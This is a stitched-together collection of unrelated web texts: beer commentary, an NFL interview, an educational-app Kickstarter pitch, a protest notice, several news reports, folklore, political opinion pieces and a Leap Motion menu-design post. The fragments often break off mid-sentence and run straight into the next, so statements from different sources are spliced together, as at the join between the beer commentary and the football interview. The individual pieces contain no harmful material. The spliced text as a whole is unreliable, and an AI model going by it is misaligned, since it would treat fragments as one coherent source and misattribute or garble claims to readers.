The refusal by the maitre d’ at the Grand Babylon Hotel (aka Felix’s) in London to serve the American multimillionaire Theodore Racksole and his daughter Nella with an order of two steaks and two bottles of pale ale for dinner sets off a chain that sees Racksole buy the hotel just to get the meal his daughter wanted, and uncovers on the way, a murder, the disappearance of a German prince, and various other villanies. The Grand Babylon is clearly the Savoy Hotel in disguise: Arnold Bennett loved the Savoy, and the hotel honoured him in return by naming a dish after him. I like this quote for honouring pale ale with steak, an excellent combination.
When the lager lout says that beer is an old man’s drink, the reply is to ask if they have ever thought of growing up.
Beware the Barmaid’s Smile!, by “Chris Thompson” (George Williamson), 1987
George Williamson, who died in 2007, aged 68, was a Scottish architect, political activist and nuclear disarmament campaigner who, from 1970, worked in brewery estates departments. He wrote the too-little-known (and, today, almost impossible to find) pamphlet Beware the Barmaid’s Smile!, subtitled “The New Vulgarity in Our Pub Culture”, using a pseudonym, unsurprisingly, considering for whom he was working. The pamphlet was a polemic demanding that the evolution of the pub be controlled by the customers and not by the breweries, and calling for militant opposition to the remorseless corporatisation of pubs and the brewing industry. As his Guardian obituary said, “Unfortunately, this insurrection never happened.” The “lager lout” was the folk devil of the era, about whom we were all supposed to be in a moral panic: “binge drinking” had not yet been invented. The quote also nicely demonstrates that to a lot of Britons, “lager” and “beer” were then (and, I suspect, still are today) separate categories, the one |
foolish to judge a person that you don’t know. The guy is awesome. I really enjoy being around him and trying to be as quarterback-friendly as possible. [Laughs]
MJ: Give us one thing about Jay we don’t know.
MB: I don’t how much people know this, but he’s super intelligent. He’s almost as smart as me, which is saying a lot. I like to have intellectual conversations with him and in football you don’t get too many of those, if you catch my drift.
MJ: A couple more general questions: If you were allowed to change one NFL rule, what would it be?
MB: Oh, a lot. First, I would change how much power the NFL has over players and give some of that power back to the people. This is supposed to be a democracy. We live in America. But right now we have a dictatorship going on.
• FARRAR: NFL’s tone-deaf reaction to DeAngelo Williams is no surprise
MJ: Where do you see the league in ten years?
MB: It could go two ways. They could be playing too many games. Right now, they’re like the Roman Empire, they’re on top of everything but eventually the Roman Empire crashed. In ten years I won’t be playing, I’ll probably have my own Dreamworks by then and won’t be watching football.
But I think the league will still be a powerhouse. They’re doing a great job as a business. They’re going to be an Apple or Google as far as business goes.
MJ: You invoked Jesus when defending your quarterback a few weeks ago. To close us out, who comes to mind when you think of, say, Matt Forte?
MB: I always think of Walmart.
MJ: Why’s that?
MB: Because he can do anything. When you go to Walmart, you can find anything. They may even sell ACLs there. You need an ACL, go to aisle six. Then you can pick up your groceries. Matt Forte as a running back, he can do anything. I think of the Walton family when I think of Matt Forte, which is kind of weird.
• JAKE PLUMMER: Derek Carr has a bright future ahead
MJ: How about Tom Brady?
MB: I have no thoughts on Tom Brady. I like him, though. He seems like a nice guy.
MJ: JJ Watt?
MB: I think they overpromote J.J. Watt, so I think of George W. Bush.
MJ: Mike Bennett?
MB: Leonardo DiCaprio.
MJ: OK. Roger Goodell?
MB: Man, that’s tough. I’m thinking of…..
MJ: Bush again?
MB: No, I’m thinking of Olivia Pope from Scandal. She covers everything up.
MJ: He also needs Olivia Pope.
MB: No, we the players need Olivia Pope.About
[UPDATE]: Project website moved to http://CrittersApp.wordpress.com
Deepest thanks to all those that contributed. The project is still ongoing and should be finished around the end of August. Check out the website for more details.
Critters!
(Designed for students ages 10-18)
Have you ever wanted to understand the science behind ecosystems? In 1995, Grey wolves were reintroduced to Yellowstone National Park in an attempt to maintain critically high elk populations. The vegetation and water quality suffered due to overgrazing and overcrowding. Reintroduction of the wolves increased biodiversity and drastically increased vegetation and water quality.
Population dynamics like these are extremely difficult for students to understand. Critters! is a fun, real-time simulation game that allows students to learn the underlying principles of population dynamics. Critters! uses an algorithm that accurately simulates the way that populations within an ecosystem fluctuate, giving students insight on what affects these systems. The Critters! simulation engine is based on an advanced agent based stochastic model. This means that the simulation is much more realistic than the traditional way of using a continuous model.
Critters! recreates a world filled with three types of organisms: grass, rabbits and foxes. Together they interact to create a live ecosystem that plays out in real-time in the form of graphs, bar charts, and a ‘field’. Students have full access to many controls where they can manipulate the ecosystem in real-time to watch the dynamics change immediately.
For detailed specification list, see below.
and more!
Critters! represents biology in the three prongs of science; biology, chemistry and physics. The next apps in production will cover chemistry and physics topics to promote a well rounded science education.
Some ideas include:
Physics: A slingshot puzzle game based on kinematics equations solved by the student
Chemistry: A states of matter tutorial game that incorporates ideal gas and Einstein solid concepts to teach students about things like energy, pressure, entropy, and chemical potential.
Physics: A swinging pendulum game that allows the student to change the weights and pendulum length in order to reach their goal and collect points.
Chemistry: A simple chemical reaction simulator that explains chemical bonding and basic chemical interactions.
Mission Statement:
To develop affordable, user friendly, educational science software for iPad (eventually for Android devices), Mac OSX and Microsoft Windows. The first app in production will be a population dynamics simulation game to teach students about factors that influence ecosystem/population health. I will be working closely with Herbert Sauro, a professor at the University of Washington. This first app will be modeled after an his award winning Creatures! software. The Critters! app will have refreshed graphics as well as game aspects to make learning more fun for the student.
Where you come in:
These apps could be developed without the need for a Kickstarter project, however the app would need to be sold at a higher price in order to recoup loses. Our goal is to create apps that are cost-effective and accessible to students and charging a lot of money per student is contrary to this effort. By making a Kickstarter project, we are allowing your donations to permanently lower the price of this software, giving students all over the world access to affordable scientific learning apps. If this Kickstarter project is fully funded, these apps will be sold for no more than $2.00 per student (and hopefully much less).
Where your money goes:
10% goes to Kickstarter/Charge Fees
90% goes directly towards expenses of making these apps
Money over the fully funded amount will go into devoting more resources to creating these apps and possibly creating several more apps
Questions/Comments?
www.facebook.com/CrittersApp
or personally at
[email protected]
Critters! App Specifications:
Applications:
Understand food chain dynamics
Discover cause and effect for predator/prey relationships
Understand and visualize in real-time the effects of disease, asteroids, the influence of man, and more!
Provides an introduction to computer modeling
Data Displays:
2D representation of a ‘field’ showing real-time population dynamics of 3 trophic layers
Traditional graph display updated in real-time as simulation runs
Dynamic bar chart showing the real-time display of food pyramid
Advanced Concepts:
Radioactive Decay
Exponential Growth
Model a bacterial colony
Stochastic dynamics
Programmable agent based simulator
Alterable Parameters & Rules:
Solar energy input – reinforce importance of photosynthesis in ecosystem
Fox death rate
Fox hunting ability (predation efficiency)
Rabbit birth rate (density dependent)
Rabbit disease rate (spread of disease)
Other Features:
Quiz-based point system for students to gauge their learning
Prebuilt "levels" intended to teach the student about specific dynamics
Preloaded disasters: fire, asteroid collision, hunting & moreThe Commission on Presidential Debates has decided to exclude Jill Stein and Gary Johnson from the debates. We expected this decision and are escalating our actions to get Jill and Ajamu Baraka into the debates.
The first debate is coming up fast.
We're writing to ask you to join us at the first presidential debate on Monday, September 26, at Hofstra University in Hempstead, Long Island (25 miles east of New York City). Please RSVP below to come to Hofstra and participate in the protest.
Schedule and How to Get to Hofstra From NYC
2:30pm: Buses depart NYC, one from Bryant Park in Manhattan and two from Brooklyn near the Barclay's Center (Atlantic Avenue). Please RSVP below to make sure we have enough seats on the bus.
4:30pm: Meet at the corner of Uniondale and Hempstead Turnpike near Hofstra and proceed to the debate location from there.
8:30pm: Buses arrive back in Manhattan and Brooklyn
Important: If you have not yet RSVPd for this action, please fill out the below form and you will receive a link to reserve a seat on one of our buses through Eventbrite. If you have already filled out the below form and just need to reserve a bus seat, click here.
The details of the plan will be provided at the event. Some people are signing up to risk arrest, others are coming for a no-arrest protest. Let us know if you want to participate in civil disobedience.
Jill Stein and Ajamu Baraka will both be with us.
We may decide to have supporters attempt to escort our candidates into the debates. This situation may lead to arrest—it is possible but not definite. There will be actions you can take with us at Hofstra that do not risk arrest.
We will conduct a nonviolent civil resistance training at 99 Madison Avenue in Manhattan on Sunday, September 25 at 3pm for this action. Please indicate below if you can attend!
LIST OF PROHIBITED ITEMS
Aerosols
Ammunition
Animals other than service/guide dogs
Back Packs
Bags and signs exceeding size restrictions
Balloons
Bicycles
Coolers
Drones and other unmanned aircraft systems
Explosives
Firearms
Glass, thermal, or metal containers
Laser pointers
Mace/Pepper spray
Packages
Selfie sticks
Structures
Supports for signs and placards
Toy guns
Weapons of any kind
Any other item determined to be a potential hazard
Solidarity,
Kevin Zeese
Stein/Baraka
Senior Campaign AdvisorA man accused of living in a “Walter Mitty” world of lies and fantasies has been jailed for 42 months after he secretly poisoned his wife with laxatives.
David Smith, a former tool-maker from Shropshire who had claimed to be a former SAS hero and a defence contractor, made his wife Elizabeth so ill after administering the drug for three years that she feared she was dying.
At one stage, doctors treating her suspected she was in the early stages of motor neurone disease after her health dramatically deteriorated about six months after the couple met, leaving her exhausted, bedridden and fainting without warning.
Smith, 62, pleaded guilty to culpable and reckless conduct at Ayr sheriff court last month and was sentenced on Tuesday to 42 months in prison. Sheriff John Montgomery said Smith was guilty of a “prolonged and evil course of criminal conduct”.
Elizabeth Smith, a beauty therapist from Ayr, told the BBC her former husband, whom she had met by chance in a TK Maxx store, had appeared to be “just a normal, lovely guy” who acted with great kindness towards her.
Smith had told her he took part in the SAS raid on the Iranian embassy, and owned a factory that made top-secret components for the Ministry of Defence. His first wife, he had claimed, had been a ballet dancer who had died carrying their unborn child. None of that was true.
“He was a family man – a wonderful man who came across as so genuine and real,” Elizabeth Smith said. In reality, she added, “he’s a 100% Walter Mitty character. He has got caught up completely in his web of lies.
“I want people to be aware that there are people like this out there and they are very, very dangerous men. He has taken away five years of my life. It’s heartbreaking.”
She believes Smith had used the migraines, double vision and sickness she had already suffered from as a cover for his poisoning. “Looking back, my migraines gave him something to work on,” she told the BBC.
“On one occasion when I was down at his house I was so ill with sickness and diarrhoea. I was in a dreadful mess and he cleaned it all up. I thought ‘you’re a keeper’. What guy at the start of a relationship would do that?”
After their relationship blossomed, her illness worsened. “It got so rapid that that they thought I had the early stages of motor neurone disease,” she said. “I would be sitting working with my clients and all of a sudden I would feel really dizzy and I would think ‘oh no, god’ thinking it was my head.
“I would go to stand up – then I was out cold, blue-lighted to hospital. My son thought his mum was dying.”
She eventually found that money was missing from her account, leading to a confrontation with Smith. He then staged a break-in but was caught after police found evidence contradicting his story.
“I don’t think that man knows what love is. He even took me to Mexico for my 60th birthday but then I found out he had paid for it with my money,” she said.
“Why didn’t he just tell me he worked as a tool-maker in his ex-father-in law’s factory? You never believe that these things can happen to people like us.”#Breaking Possible active shooter reported at Naval Medical Center in San Diego. Here is center's FB post pic.twitter.com/NpXzUEEiWh — Leticia Juarez (@ABC7Leticia) January 26, 2016
Military authorities responded to a report of gunshots at the Naval Medical Center in the Balboa Park area of San Diego on Tuesday, but an inspection found no sign of a gunman or a shooting.According to a Navy official, a sentry at the medical center received a report from someone who claimed to have heard gunshots fired in the vicinity of building No. 26.A Navy press release stated that the single witness reported hearing three gunshots coming from the basement of the building, which houses offices and barracks for wounded sailors and Marines as well as a gym.Center spokesman Mike Alvarez said the gunshot sounds were heard around 8 a.m."We have found absolutely nothing to indicate any shots were fired," a hospital spokesman said during a later press conference.Base security and San Diego police initially responded to the scene, and a shelter-in-place order was issued. No injuries were reported.The medical center is located at 34800 Bob Wilson Drive. Occupants inside building No. 26 were advised to run, hide or fight, according to a statement posted on the hospital's Facebook page.The base remained on lockdown as authorities went from room to room and led personnel out of the facility.Passion Pit’s frontman Michael Angelakos just appeared on the author Bret Easton Ellis’ podcast where he discussed a host of topics including mental illness, the tug of war between ideology and aesthetic, false narratives, and more. Most notably, Angelakos discusses his marriage and subsequent divorce, telling Ellis that he’s actually gay, detailing the struggles he’s faced with that actualization. That segment begins at about the 49:00 minute mark, and Angelakos describes how Passion Pit’s music has been informed by his own life’s story along the way.
“It’s always been about putting it off in my head — not consciously,” the 28-year-old told Ellis. “I just wanted so badly to be straight, because I love her so much. I think that was one of the most painful things when we decided to separate.”
It’s an enlightening, revealing discussion that both men treat carefully and considerately. The entire episode’s worth listening to, and you can find it here.We all know about vampires and werewolves, or at least we think we do. The legends and myths that inspired these monsters are sometimes surprisingly different, but no less chilling. In this series of posts, Monster Monday, we’ll investigate the monsters that have informed our modern notions, as well as some lesser known monsters. Today, we talk about the Ala.
An ala is a female weather demon in Balkan folklore. The ala usually appears as a giant dragon in the storm clouds and destroys crops with heavy wind, rain, and hail. In many stories, an ala can also take the milk from cows and sheep.
An ala can also take the form of a human when she is not causing storms. In these stories, her house is in the clouds or in lake or high in the mountains or some other remote place. A person meeting an ala in her human form must not remark about anything unusual in her house. If the person does, the ala will punish them, usually by eating them. If the person treats the ala as a normal human, the ala will reward them.
In some stories, an ala can be defeated by a good dragon. In others a giant eagle fights the ala, and in still others, a saint must confront the ala. There are also many magical spells that can be used at the first sign of a coming storm.President Donald Trump’s political appointees at the Environmental Protection Agency are killing grants and awards that mention “climate change,” no matter how effective the initiatives might be in cutting costs, creating jobs, and saving lives.
Under Administrator Scott Pruitt, who rejects the scientific consensus on climate change, the EPA has taken the unprecedented step of “putting a political operative in charge of vetting” hundreds of millions of dollars in annual EPA grants, the Washington Post reported Monday. That operative is John Konkus, “a former Trump campaign aide with little environmental policy experience.”
Some of EPA’s choices seem petty and capricious — like killing a $20,000 grant to help train Flint, Michigan residents, who are still dealing with a prolonged lead contamination crisis, to deal with bedbugs.
But “Konkus has told staff that he is on the lookout for ‘the double C-word’ — climate change,” the Post reports. Here is where things get both ridiculous and tragic: “Two of the awards the EPA’s leadership rescinded… supported the deployment of clean cookstoves in the developing world.”
Advertisement
Developing clean cookstoves is one of the most cost-effective ways to save lives globally, while simultaneously generating American jobs and improving our national security. As the New York Times explained back in 2010:
Nearly three billion people in the developing world cook their meals on primitive indoor stoves fueled by crop waste, wood, coal and dung. Every year, according to the United Nations, smoke from these stoves kills 1.9 million people, mostly women and children, from lung and heart diseases and low birth weight.
This indoor pollution is such a global blight, that the EPA’s 15-year bipartisan effort to address it started with a George W. Bush administration program, the Partnership for Clean Indoor Air. It grew into an international private-public partnership, the Global Alliance for Clean Cookstoves (GACC), which has leveraged considerable public and private sector funding, creating jobs for U.S. companies that sell stoves and related gear, including Cummins Engine of Indiana.
Bush EPA chief Christine Todd Whitman told the Post that this effort simultaneously helped fight pollution that “affects all of us” (carbon pollution), and “it was also good for human health in those countries, which we wanted to have stable for national security.”
Also, as Radha Muthiah, CEO of GACC said in a statement, the bipartisan program’s efforts “benefit Americans directly” and “help drive increased investment from the private sector and other partners, leading to strong impacts across health, the environment and women’s and girls’ empowerment.”
Advertisement
But the program has the phrase “climate change” in it. As the Times noted in 2010, “the stoves also contribute to global warming as a result of the millions of tons of soot they spew into the atmosphere and the deforestation caused by cutting down trees to fuel them.”
EPA spokeswoman Liz Bowman told the Post that the agency was cancelling awards to international groups that aren’t “providing results for American taxpayers.”
In reality, the Trump administration is eliminating funding that creates U.S. jobs while benefiting the health of millions of poor people around the globe — simply because those efforts happen to also reduce global carbon pollution.
“It’s a cutting-edge solution to one of the world’s oldest challenges, it’s working, and there is a lot still to be done,” explains Muthiah. Hopefully, other public and private groups will fill the gap left by Trump’s heartless and mindless appointees.BINYAMIN NETANYAHU is articulate, dashing—and distrusted, by friends and foes alike. Nicolas Sarkozy, a former French president, was once heard telling Barack Obama: “I can’t stand him. He’s a liar.” Mr Obama did not demur.
This month the Israeli prime minister offered fresh glimpses of his deviousness. Following reports that he had offered the Palestinians more generous terms than his rhetoric admits, Mr Netanyahu (pictured, right) tried to regain right-wing support by repudiating his acceptance, in a speech in 2009, of (strictly limited) Palestinian statehood. This leaves a big question: is the real Bibi a man of negotiation, or of occupation? Recklessly, he gambled with bipartisan American support for Israel when he defied Mr Obama by brazenly appearing before a Republican-dominated Congress to denounce the administration’s nuclear negotiations with Iran: “This is a bad deal. It’s a very bad deal. We’re better off without it.”
Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.
On March 17th Israeli voters will have their say on Bibi (see article). In this newspaper’s view he has been a bad deal for Israel. It is better off without him. His challenger, Yitzhak “Bougie” Herzog (pictured, left), is not charismatic. But he is level-headed and has a credible security and economic team. He wants talks with the Palestinians and to heal ties with Mr Obama. He deserves a chance to prove himself.
Prime minister, you’re no David Ben-Gurion
In office for the past six years, having served a three-year stint in the 1990s, Mr Netanyahu is now Israel’s longest-serving leader since David Ben-Gurion. That is a remarkable feat for a man whose father once doubted his suitability for the job. Mr Netanyahu’s longevity is due to many factors, not least luck, cunning, a silver tongue and the loyalty of the Likud party. But his achievements are outweighed by his many flaws.
On the positive side, he has liberalised the Israeli economy and promoted a thriving high-tech sector. He navigated skilfully through the financial crisis and the long slump in Europe, Israel’s largest trading partner. He kept Iran’s nuclear programme at the forefront of world attention. He also kept Israel safe after the Arab-spring revolts of 2011, which toppled leaders and cracked fossilised states across the region. The jihadists and Shia militias that filled the void might have turned their guns on Israel, and may yet do so. For the time being they are killing each other. In the turmoil Israel has forged closer ties with Egypt and, more secretly, with Arab monarchies.
Against this, Bibi’s preservation of the military occupation in the West Bank and the stranglehold over Gaza Strip must count heavily against him. He has refused to make any genuine concessions to the Palestinians, on the ground that “there is no partner for peace”—even though Mahmoud Abbas, the Palestinian president, has abjured violence and maintained security co-operation with Israel in the West Bank (Gaza is controlled by the Islamist Hamas movement). Mr Abbas himself has plenty of shortcomings, but he has also been deliberately weakened by Mr Netanyahu. Israel has cut off Palestinian tax revenues in retaliation for Mr Abbas’s decision to join the International Criminal Court. The pragmatism that Mr Netanyahu sometimes expresses is belied by his actions: he has expanded settlements, thus breaking up Palestinian areas and making a mockery of the very notion of Palestinian statehood.
To Israelis traumatised by missiles and rockets, Mr Netanyahu sounds plausible when he claims that giving the Palestinians control over their own land will bring more violence. The turmoil of the Arab world deepens these fears. Had Israel handed the Golan Heights back to Syria, it might now find itself facing fighters from Hizbullah, al-Qaeda or Islamic State on the Sea of Galilee.
However, without a Palestinian state, Israel will either endanger its Jewish majority or lose its moral standing by subjugating and disenfranchising the Palestinian population. Israel will lose support abroad even when it legitimately defends itself. In the final days of the campaign, Mr Netanyahu may well play up the dangers from Iran, jihadists and Hamas. But the truth is that immobilism, too, is endangering Israel.Woman threw abandoned puppy off balcony and laughed about it to police
Jamille Marshall, 22, told police she threw the dog off her balcony because she didn't want it
A woman who threw an abandoned puppy off her third-floor balcony laughed about it to police when they arrested her.
Jamille Marshall 22, from East Garfield Park, Chicago, told police she found the yellow pit bull mix puppy on her balcony around 9.30am on Monday.
The dog broke its leg in the fall and had severe difficulty walking afterwards.
Harrison District Police Lt John Andrews told the Chicago Tribune : 'They tossed the dog off the balcony because they said it wasn’t theirs and they didn’t want it.'
He said that when the 22-year-old was arrested, she said: 'The Chicago Police Department must have better things to do than worry about a dog.'
She was charged with aggravated cruelty to animals.
The dog was taken to the Animal Care and Control for treatment but he looks like he will make a full recovery.
One of the responding officers has also offered to adopt the dog.
One of the responding officers has decided to adopt the dog, he said, adding: 'It’s good that the dog is going to survive and have a good home.'
The yellow pitbull mix puppy broke its leg but will make a full recovery and is being adopted by a responding officer (file photo)— Firefighters Saturday had their hands filled with several brush fires reported around the Southland.
A small 2-acre fire was reported in the West Hills area near Kittridge Street and Valley Circle around 4:20 p.m.
Officials said that fire was burning downhill into a ravine by light winds. Authorities said there were some homes nearby but no evacuations were ordered.
A 400-acre fire was also reported in Calabasas but in this fire, many homes were threatened, authorities said.
Saturday, officials said three homes were damaged but on Sunday said no homes had damage. One camp facility was destroyed.
The fire was reported burning in Calabasas at Mullholland Highway near Old Topanga Canyon Road.
Some mandatory evacuations have been reported in the areas of Eddingham Avenue and Adamsville Avenue and the Calabasas Highlands.
Evacuated residents are asked to go to Agoura High School (28545 W. Driver Ave Agoura Hills, 91301).
It was estimated that about 5,000 residents had to evacuate the area.
The LA County Sheriff’s Department is asking residents to take large animals to Pierce College (6201 Winnetka Ave., Woodland Hills, CA 91371) and small animals to Agoura Animal Care Center (20925 Agoura Road, Agoura Hills, CA 91301).
The evacuation order is supposed to remain in effect until at least 8 a.m. Sunday.
More than 250 firefighters are battling the blaze. There was a report of one firefighter suffering minor injuries.
Offcials believe the fire was sparked by a car accident around 4:20 p.m.
At least four horses were also airlifted to safety.
LA County AirOps said they had three water dropping helicopters working on the fire in Calabasas, now dubbed #OldFire. They have requested additional air personnel.
2 of the helicopters working the #OldFire are Firehawks capable of up to 1000 gallons per drop (📷@L2_Digital) pic.twitter.com/0K0ckxmH21 — LACoFireAirOps (@LACoFireAirOps) June 4, 2016
LA City Fire said “we have multiple brush fires in the greater Los Angeles area. LAFD is handling the #ValleyCircle fire which has now spotted and additionally resources are responding. LACountyFire is currently IC for #OldIC fire in the Old Topanga Canyon area. LAFD is an assisting agency and an order for 3 strike teams (15 engines) have been ordered to respond to assist.”
The LAFD is sending two strike teams to the area to provide “structure protection” as an assisting agency to LA County Fire to battle the “Old Fire”Over the years, traditional menu design practices have developed along the lines made possible by hardware. Unfortunately, as a result, many of these practices don’t apply to apps built for natural user interfaces (NUIs) like the Leap Motion Controller – so that creating great menus is an ongoing challenge for Leap Motion developers. Recently, by experimenting with some alternative approaches, we’ve managed to push past these growing pains and overcome some of these hurdles in menu design.
Why menu design in particular? It’s rarely the most interesting thing about an application, but accessible and usable interface design is absolutely critical to creating an app that people will love. Developing for an entirely new type of interface means that we’re faced with a veritable wild west – as full of possibilities for growth as it is with enticing pitfalls and hidden vipers.
We recently addressed a number of best practices for menu design in our documentation. These guidelines will continue to evolve in the hope that they’ll help jumpstart your own menu designs, help you avoid some of the common pitfalls we’ve seen (and occasionally fallen into), and suggest some ways you can help navigate the natural user interface wilderness – which is pretty exciting.
While designing a new application, we burned through a bunch of different designs for some very simple 2D menus and structures. We only had a short time for this particular round of prototyping, so we focused on single-finger interactions. Ultimately, we ended up focusing on one menu, which we call a marching menu. Afterwards, we wanted to share some of what we learned during the process. Keep in mind that these are super-rapid prototypes – there’s no aesthetic treatment here, just enough to test the usability of the concepts.
Want to try it out yourself? You can download our Unity3D project (much cleaned up from our prototyping) with the marching menu prototype on BitBucket.
The final marching menu wireframe prototype.
When testing our menu prototypes, we’ve found it useful to couch our analysis in terms of three stages of menu interaction:
Activation: how do I bring up the menu?
how do I bring up the menu? Navigation: how do I find the choice I want?
how do I find the choice I want? Selection: how do I confirm the choice I want?
To throw a wrench into things right off, we’re going to look at these in reverse order.
Selection: how to confirm the choice I want
To tap or not to tap? That is the question. Now completely intuitive thanks to touchscreens, the screen tap gesture is an obvious first choice for Leap Motion apps. The user is using their fingers just like on a touchscreen!
In reality, screen tap actions for Leap Motion are often passable, but not great. Users don’t get any tactile feedback. It’s hard to provide sense of visual depth, so screen tapping tends to require a lot of uncomfortable extended pointing. Because of these reasons, users are not often acutely aware of where their hand lies in Z-space.
Users aren’t generally accustomed to paying attention to the Z-axis.
Plus, since human joints move in arcs rather than straight lines, it’s often hard for someone to perform a Z-space translation while maintaining their X,Y location. Needless to say, this is problematic when they need to move forward and stay centered on a button. You can do a good job following our menu design guidelines (which include some great live JavaScript code examples with LeapJS), but the screen tap gesture isn’t always the best way for users make a selection.
So how can we do better?
X,Y translation with boundary crossing can be better
An X,Y boundary crossing.
While developing these prototypes, we worked on the hypothesis that crossing a boundary in the X,Y plane would be more comfortable and useable than tapping in the air. Users are much more attuned to where their hands are relative to the plane of the screen, and it’s quite easy to give clear X,Y feedback on a 2D display. This approach also allows for menu designs that reflect what users are used to in traditional applications.
Set selection actions apart
We discovered that users are easily confused between when a selection leads to a submenu vs. an actual decision. To resolve this, we created very different actions to distinguish navigational selection from item selection. In our marching menu prototype, we used hover (with a tiny delay) to bring up submenus, and an X,Y boundary crossing for item selection.
Note the different feedback mechanisms in play between selecting a sub-menu (hover, left side) and selecting an option (translation, right side).
Navigation: how to find the choice I want
Navigation design depends a lot on your content and its structure. Naturally, many traditional usability best practices are important, including sorting your content, laying it out well, and making it easy to access commonly used items.
Good menu navigation principles
users can assess their options quickly
provide good breadcrumbs so that users know where they are, and how they got there
so that users know where they are, and how they got there make it quick to navigate
make it easy to back out or undo a mistaken action (while crucial, this principle is often overlooked)
This menu layout makes it clear where you are in the structure, and how to reach other options.
Choose the right format for your content
Basic radial menus are great for small data sets and icons, but no good for quickly scanning text. In the Western world at least, users read top-to-bottom and left-to-right. If your users will need to scan through their options easily, your layout should account for this. As you can see, even with a small number of items, the left menu below is much easier to scan than the right:
Definitely consider readability when laying out your content.
3D Geometry uses a menu very much like our marching menu prototype to good effect, allowing users to quickly and intuitively access a wide variety of polyhedra.
However, for the proper set of content, radial menus can be perfect:
Brush Size lends itself almost perfectly to a radial menu in Sculpting, because it represents a spectrum rather than a set of discrete options. You can twirl your finger around the menu and push out the option you want to select.
Give dynamic feedback about the actions your interface is tracking
In an early prototype of the marching menu, we used static icons to inform users what sorts of actions they could perform. However, users often didn’t associate these static icons with actions. Some people tried tapping, others pinched, and others were just plain confused. When users did make a selection, sometimes they didn’t know how they’d done it.
Original static feedback. Users didn’t associate the icons with actions.
For the next iteration, we added some simple feedback, emphasizing the X-axis location of the user’s finger relative to the currently selected button. In testing, users picked up on what they were supposed to do quite quickly, but were often uncomfortable flinging their finger off a menu item to select it. There was no indication of what would happen if they did.
With a little added polish though, the new users we tested with understood and started using the menus with ease. We saw a real marked improvement from some very small changes – design elements that reveal the menu’s behavioral structure at a glance. This sort of basic feedback is great for all manner of menus.
Adding immediate hover feedback and X-axis feedback added to the usability of the menus. Instead of being forced to remember how each level works, the menu actively informs users as they navigate through it.
Allthecooks Recipes uses this sort of dynamic feedback well – making it clear which element is being activated and which actions you can take. Read more about Lucas Goraieb’s work on AlltheCooks Recpies’ menu system in his post Pushing Boundaries.
Be aware of momentum
One of the challenges with using X,Y translation for selection and navigation is the user moving too far and accidentally jumping to the wrong item. If the user has to change their direction of movement – or has a large, obvious space to pause – this will greatly reduce the chances of accidental selections, cancellations, and the like. Giving users insights into what to expect next can help them adjust how quickly they’re moving, while forcing a directional change leaves room for natural motions rather than more stressful, constrained ones.
In the marching menu, changes in momentum flow naturally from the menu structure and obvious stopping points.
Activation: how to bring up the menu
Deciding how your menu will activate depends a lot on your application. The biggest thing to pay attention to is making sure that users understand the effects of their actions within your app.
In our testing, we tried to activate a contextual menu by having the user pull their hand back towards them. We often saw people accidentally activate the menu, but rather than discover the action, they didn’t realize how they’d turned the menu on! Even worse, they’d often think that something else had caused the menu to activate, teaching them the wrong thing.
We also had some menus which, when activated, took up a large portion of the screen. Without proper transitions, users would often become disoriented. With larger popups, you need to strike a balance between keeping a large interaction space and maintaining a sense of place in your application.
We’d have loved to have spent even more time playing with our concepts – and we will – but naturally we only had so much time for this round of testing. Here are some ideas we’d love to test more, or see from design-minded developers:
A multi-level radial menu. Just imagine a radial menu that can handle many levels of data while still having good bread-crumbing, good ways of backing out to select other information, and an obvious difference between selecting sub-menus and making a final selection. We got very excited about how quickly power users could navigate with tiny gestures, but a lack of usability stymied our prototype. A random thought on this to get you thinking – rotary phones?
A gesture for menu activation. The one “gesture” we played with to activate our menu was pulling a hand back towards the user in z-space. This didn’t work so well. We’d love to see developers explore this one more. The biggest challenges here are a gesture that is unique enough not to accidentally occur during normal use, while also easy enough to be learnable and reliably activated. We’ve recently seen a few really cool ones around the office (especially two handed gestures) but there’s a lot of cool stuff to explore on this topic.
A depth-based solution to multi-level menus. The idea that deeper levels sit behind top |
to track them with the use of his helicopter," Detective Senior Sergeant Stringer said.
A police spokeswoman said the man was speaking to police on his mobile phone from his helicopter and giving directions while police on the ground tried to find the children.
"This is a fantastic result combining Northern Territory Police, Fire and Rescue Services, Bushfires NT and public assistance in locating and swiftly apprehending these [alleged] offenders," Detective Senior Sergeant Stringer said.
On Friday night, the youths were assisting police with their inquiries.
Topics: crime, noonamah-0837The oldest man in the world has just celebrated another birthday. Yisrael Kristal, officially recognized by the Guinness World Records book in March, turned 113 this month at his home in Haifa, Israel.
Kristal was born in a small Polish village in 1903 before cars were common on the road or radios were in people's homes.
He remembers the first car he saw as a boy. It belonged to Austrian Emperor Franz Joseph. Kristal and other boys threw sweets at this horseless carriage, which seemed to them like an apparition. (The emperor died in 1916, so Kristal has well and truly outlived him.)
Yisrael Kristal is seen here in 1947, at age 44. (Family photo)
Now, Kristal is about to experience another milestone. His family will celebrate his bar mitzvah, the ceremony marking maturity for Jewish boys, which usually occurs when they turn 13.
Kristal didn't have a bar mitzvah when he turned 13 during the First World War.
His mother died when he was seven years old. Four years later, when the war began, his father was press-ganged into the Russian army and never returned. The relatives who took Kristal in didn't hold a bar mitzvah for him in 1916, so his descendants are going to do it now, 100 years later.
"My father told my son not to take his bar mitzvah for granted, saying that not everyone was lucky enough to have one," said Kristal's daughter, Shula Kuperstoch. "He said the same thing to his great grandsons when they had their bar mitzvahs, so it obviously affected him."
'It's a privilege to be his daughter'
Kuperstoch is insisting on a modest affair. No media. No strangers.
"Israel's president asked to attend, and I said no. It would only stress my father, and he's my primary concern."
She is protective because she and her father are so close.
Other people boast about their children or grandchildren. I boast about my father. - Shula Kuperstoch, daughter of Yisrael Kristal
"It's a privilege to be his daughter," Kuperstoch said. "I share things with him and tell everyone about him. Other people boast about their children or grandchildren. I boast about my father."
Perhaps most remarkable is that the oldest man alive today is a Holocaust survivor.
"It is staggering," said Kuperstoch. "We tend to think that the more we look after ourselves and rest and avoid stress, the longer we will live, but no, this man worked all his life, and it was hard physical work, and he endured so much.
"He lost his first wife and their two children in the Holocaust. He lost his mother when he was young. He himself was in Auschwitz and other concentration camps. And yet here he is."
Confectioner's skill kept him alive in Holocaust
In the 1920s, Kristal moved to the Polish city of Lodz. He married Chaja Frucht and trained as a confectioner. He loved his job and had a talent for it, something that even the Nazis appreciated.
Kristal says his skill as a sweet maker kept him alive during the Second World War. German soldiers liked his candies and commissioned them from Kristal, who was by then living in the Jewish ghetto in Lodz.
